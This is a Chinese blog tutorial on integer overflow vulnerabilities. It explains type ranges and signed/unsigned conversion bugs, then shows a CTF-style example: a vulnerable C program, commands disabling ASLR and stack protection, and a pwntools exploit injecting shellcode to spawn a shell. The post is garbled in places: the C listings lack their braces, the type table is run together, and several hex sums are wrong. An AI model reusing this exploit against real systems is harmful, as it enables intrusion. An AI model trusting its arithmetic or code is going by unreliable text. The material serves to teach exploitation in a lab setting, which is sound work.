整数溢出学习

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了整数溢出学习相关的知识,希望对你有一定的参考价值。

前言

开始整数溢出的学习,这部分相对来说很简单了。

原理

64位的gcc-5.4的类型及字节数如下:

类型字节范围
short int2byte(word)032767(00x7fff) -32768-1(0x80000xffff)
unsigned short int2byte(word)065535(00xffff)
int4byte(dword)02147483647(00x7fffffff) -2147483648-1(0x800000000xffffffff)
unsigned int4byte(dword)04294967295(00xffffffff)
long int8byte(qword)正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff
unsigned long int8byte(qword)0~0xffffffffffffffff

溢出

溢出指的是有符号数。这里以short举例,之后也都是。

上溢出是0x7fff+1=0x8fff,由正变负。

下溢出时0x8000-1 = 0x7ffff,由负变正。

回绕

对于无符号数来说是回绕,也是两种:

0xffff + 1 = 0x0000
0x0000 - 1 = 0xffff

漏洞场景

错误的类型转换

大范围转小范围

其实就是精度丢失了,导致的漏洞。而小范围转大范围则不会有这种问题。

有符号和无符号的转换

直接看wiki的例子了:

int main(void)

    int len, l;
    char buf[11];

    scanf("%d", &len);
    if (len < 10) 
        l = read(0, buf, len);
        *(buf+l) = 0;
        puts(buf);
     else
        printf("Please len < 10");        

本来限制了输入的长度必须比10小,但是read函数:

ssize_t read(int fd, void * buf, size_t count);

size_t是无符号的类型,这就导致了漏洞:

例题

这部分内容比较简单,直接以CTF-ALL-IN-One上的例子来结束吧:

#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) 
    char passwd_buf[11];
    unsigned char passwd_len = strlen(passwd);
    if(passwd_len >= 4 && passwd_len <= 8) 
        printf("good!\\n");
        strcpy(passwd_buf, passwd);
     else 
        printf("bad!\\n");
    


int main(int argc, char *argv[]) 
    if(argc != 2) 
        printf("error\\n");
        return 0;
    
    validate_passwd(argv[1]);

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack vuln.c -o vuln -m32

把地址随机化关闭来方便攻击。

因为passwd_len是无符号的,存在一个截断,比如strlen的结果是0x104,那么passwd_len得到的就是0x04,成功绕过。

接下来就是写shellcode到栈上面然后控制返回地址到shellcode上了。

EXP:

from pwn import *
from LibcSearcher import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
ret_addr = 0xffffcef8+4+4+4
shellcode = asm(shellcraft.sh())
payload = flat([24*'a',ret_addr,'a'*4,shellcode,(0x104-72)*'a'])
p = process(argv=['./vuln',payload])
#p = gdb.debug(["./vuln",payload],"break validate_passwd")
p.recv()
p.interactive()

以上是关于整数溢出学习的主要内容,如果未能解决你的问题,请参考以下文章

有符号整数溢出:1111111111111111111 * 10 不能用“long long”类型表示

整数溢出实验

确定整数溢出是不是超过或低于界限

如何提高C语言代码质量?

如何在 Rust 中将有符号整数添加到无符号整数,检查无符号溢出?

整数溢出学习